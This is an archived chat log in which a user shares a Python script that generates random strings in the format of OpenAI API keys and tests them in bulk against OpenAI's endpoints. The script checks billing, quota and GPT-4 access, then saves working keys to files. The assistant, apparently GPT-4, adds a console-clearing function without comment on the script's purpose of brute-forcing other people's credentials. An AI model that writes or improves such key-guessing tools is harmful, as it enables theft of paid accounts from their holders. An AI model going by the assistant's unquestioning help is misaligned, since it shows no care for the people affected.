Skip to content
TheChatArchiveThe Chat Archive
gpt-4-0314· OpenAIAi2 WildChat-4.8M (AI2)

can you change this script and make him send cls in console and clear console every time…

  1. User

    can you change this script and make him send cls in console and clear console every time before print results?

    import random import string from itertools import islice import openai import requests from datetime import datetime, timedelta import sys import time import threading from concurrent.futures import ThreadPoolExecutor import colorama import logging

    First script

    generated_links = set()

    def generate_links(num_links): global generated_links

    new_links = set()
    while len(new_links) < num_links: 
        link = "sk-" + "".join(random.choices(string.ascii_letters + string.digits, k=20)) + "T3BlbkFJ" + "".join(random.choices(string.ascii_letters + string.digits, k=20))
        if link not in generated_links and link not in new_links:
            generated_links.add(link)
            new_links.add(link)
            yield link
    

    Second script

    colorama.init()

    logging.basicConfig(filename='OAI_API_Checker_logs.log', level=logging.DEBUG, format='%(asctime)s %(levelname)s: %(message)s', datefmt='%Y-%m-%d %H:%M:%S')

    def log_and_print(message, log_level=logging.INFO): print(message) logging.log(log_level, message)

    def list_models(api_key): openai.api_key = api_key models = openai.Model.list() return [model.id for model in models['data']]

    def filter_models(models, desired_models): return [model for model in models if model in desired_models]

    def get_limits(api_key): headers = { "authorization": f"Bearer {api_key}", } response = requests.get("https://api.openai.com/dashboard/billing/subscription", headers=headers)

    if response.status_code == 200:
        return response.json()
    else:
        raise Exception(f"Error fetching limits: {response.text}")
    

    def get_total_usage(api_key, plan_id): if plan_id == "free": start_date = (datetime.now() - timedelta(days=99)).strftime('%Y-%m-%d') elif plan_id == "payg": start_date = datetime.now().replace(day=1).strftime('%Y-%m-%d') else: raise ValueError(f"Invalid plan ID: {plan_id}")

    end_date = (datetime.now() + timedelta(days=1)).strftime('%Y-%m-%d')
    
    usage_endpoint = 'https://api.openai.com/dashboard/billing/usage'
    auth_header = {'Authorization': f'Bearer {api_key}'}
    response = requests.get(usage_endpoint, headers=auth_header, params={'start_date': start_date, 'end_date': end_date})
    response.raise_for_status()
    usage_data = response.json()
    total_usage = usage_data.get('total_usage', 0) / 100
    total_usage_formatted = '{:.2f}'.format(total_usage)
    return total_usage_formatted
    

    def is_glitched(api_key, usage_and_limits, plan_id): current_timestamp = datetime.now().timestamp() access_expired = current_timestamp > usage_and_limits['access_until'] total_usage_formatted = get_total_usage(api_key, plan_id) usage_exceeded = float(total_usage_formatted) > float(usage_and_limits['hard_limit_usd']) + 10 return access_expired or usage_exceeded

    def try_complete(api_key): openai.api_key = api_key response = openai.ChatCompletion.create( model="gpt-3.5-turbo", max_tokens=1, messages=[{'role':'user', 'content': ''}] )

    def check_key(api_key): result = f"{api_key}\n" glitched = False model_ids = [] try: try_complete(api_key) usage_and_limits = get_limits(api_key) plan_title = usage_and_limits.get('plan', {}).get('title') plan_id = usage_and_limits.get('plan', {}).get('id') if not plan_id: raise ValueError("Plan ID not found in usage_and_limits") total_usage_formatted = get_total_usage(api_key, plan_id) access_until = datetime.fromtimestamp(usage_and_limits['access_until'])

        RED = "\033[31m"
        BLINK = "\033[5m"
        RESET = "\033[0m"
    
        glitched = is_glitched(api_key, usage_and_limits, plan_id)
        if glitched:
            result += f"{RED}{BLINK}**!!!Possibly Glitched Key!!!**{RESET}\n"
    
        models = list_models(api_key)
        filtered_models = filter_models(models, desired_models)
    
        if filtered_models:
            for model_id in filtered_models:
                result += f"  - {model_id}\n"
                model_ids.append(model_id)
        else:
            result += "  No desired models available.\n"
    
        result += f"  Access valid until: {access_until.strftime('%Y-%m-%d %H:%M:%S')}\n"
        result += f"  Soft limit: {usage_and_limits['soft_limit']}\n"
        result += f"  Soft limit USD: {usage_and_limits['soft_limit_usd']}\n"
        result += f"  Hard limit: {usage_and_limits['hard_limit']}\n"
        result += f"  Hard limit USD: {usage_and_limits['hard_limit_usd']}\n"
        result += f"  System hard limit: {usage_and_limits['system_hard_limit']}\n"
        result += f"  System hard limit USD: {usage_and_limits['system_hard_limit_usd']}\n"
        result += f"  Plan: {plan_title}, {plan_id}\n"
        result += f"  Total usage USD: {total_usage_formatted}\n"
    except Exception as e:
        error_message = str(e)
        if "You exceeded your current quota" in error_message:
            result += f"  This key has exceeded its current quota\n"
        else:
            result += f"  This key is invalid or revoked\n"
    
    return result, glitched, "gpt-4" in model_ids    
    

    def checkkeys(api_keys): gpt_4_keys = set() glitched_keys = set() valid_keys = set() no_quota_keys = set()

    result = ''
    with ThreadPoolExecutor(max_workers=len(api_keys)) as executor:
        futures = [executor.submit(check_key, api_key) for api_key in api_keys]
    
        for idx, future in enumerate(futures, start=1):
            result += f"API Key {idx}:\n"
            try:
                key_result, glitched, has_gpt_4 = future.result()
                result += key_result
    
                if "This key is invalid or revoked" not in key_result and "This key has exceeded its current quota" not in key_result:
                    valid_keys.add(api_keys[idx - 1])
    
                if "This key has exceeded its current quota" in key_result:
                    no_quota_keys.add(api_keys[idx - 1])
    
                if glitched:
                    glitched_keys.add(api_keys[idx - 1])
                if has_gpt_4:
                    gpt_4_keys.add(api_keys[idx - 1])
            except Exception as e:
                error_message = str(e)
                if "You exceeded your current quota" in error_message:
                    result += f"  This key has exceeded its current quota\n"
                else:
                    result += f"  This key is invalid or revoked\n"
            result += '\n'
            
    with open('valid.txt', 'w') as f: f.write('\n'.join(valid_keys))
    with open('glitch.txt', 'w') as f: f.write('\n'.join(glitched_keys))
    with open('gpt4.txt', 'w') as f: f.write('\n'.join(gpt_4_keys))
    
    result += f"\nNumber of API keys with 'gpt-4' model: {len(gpt_4_keys)}\n"
    for key in gpt_4_keys:
        result += f"{key}\n"
    
    result += f"\nNumber of possibly glitched API keys: {len(glitched_keys)}\n"
    for key in glitched_keys:
        result += f"{key}\n"
    
    result += f"\nNumber of valid API keys: {len(valid_keys)}\n"
    for key in valid_keys:
        result += f"{key}\n"
    
    result += f"\nNumber of valid API keys with no quota left: {len(no_quota_keys)}\n"
    for key in no_quota_keys:
        result += f"{key}\n"
    
    return result
    

    def animate_processing_request(): while not processing_done: sys.stdout.write("\rProcessing... |") time.sleep(0.1) sys.stdout.write("\rProcessing... /") time.sleep(0.1) sys.stdout.write("\rProcessing... -") time.sleep(0.1) sys.stdout.write("\rProcessing... \") time.sleep(0.1) sys.stdout.write("\rDone! \n")

    if name == 'main': desired_models = ["gpt-3.5-turbo", "gpt-3.5-turbo-0301", "gpt-4", "gpt-4-0314"]

    end_time = datetime.now() + timedelta(minutes=1)  # Set desired end time, e.g. 10 minutes
    combined_results = ""
    
    while datetime.now() < end_time:
        # Generate links
        num_links_to_generate = 100
        unique_links = list(islice(generate_links(num_links_to_generate), num_links_to_generate))
    
        # Save unique links to a txt log file
        with open("unique_links.txt", "w") as file:
            for link in unique_links:
                file.write(link + "\n")
    
        
    
        processing_done = False
        animation_thread = threading.Thread(target=animate_processing_request)
        animation_thread.start()
    
        result = checkkeys(unique_links)
    
        processing_done = True
        animation_thread.join()
    
        combined_results += "\n" + result
        print(combined_results)
    
  2. Assistant

    You can use the os module to clear the console. Here's the updated script with the console clearing functionality:

    import random
    import string
    from itertools import islice
    import openai
    import requests
    from datetime import datetime, timedelta
    import sys
    import time
    import threading
    from concurrent.futures import ThreadPoolExecutor
    import colorama
    import logging
    import os
    
    # Add this function to clear the console
    def clear_console():
        os.system('cls' if os.name == 'nt' else 'clear')
    
    # ... rest of your script
    
    if __name__ == '__main__': 
        desired_models = ["gpt-3.5-turbo", "gpt-3.5-turbo-0301", "gpt-4", "gpt-4-0314"]
        
        end_time = datetime.now() + timedelta(minutes=1)  # Set desired end time, e.g. 10 minutes
        combined_results = ""
    
        while datetime.now() < end_time:
            # Generate links
            num_links_to_generate = 100
            unique_links = list(islice(generate_links(num_links_to_generate), num_links_to_generate))
    
            # Save unique links to a txt log file
            with open("unique_links.txt", "w") as file:
                for link in unique_links:
                    file.write(link + "\n")
    
            # Clear console before showing results
            clear_console()
    
            processing_done = False
            animation_thread = threading.Thread(target=animate_processing_request)
            animation_thread.start()
    
            result = checkkeys(unique_links)
    
            processing_done = True
            animation_thread.join()
    
            combined_results += "\n" + result
            print(combined_results)
    

    Now the console will be cleared every time before printing the results.

Responses were produced in different, uncontrolled contexts (system prompts, settings, prior turns). This is not a benchmark.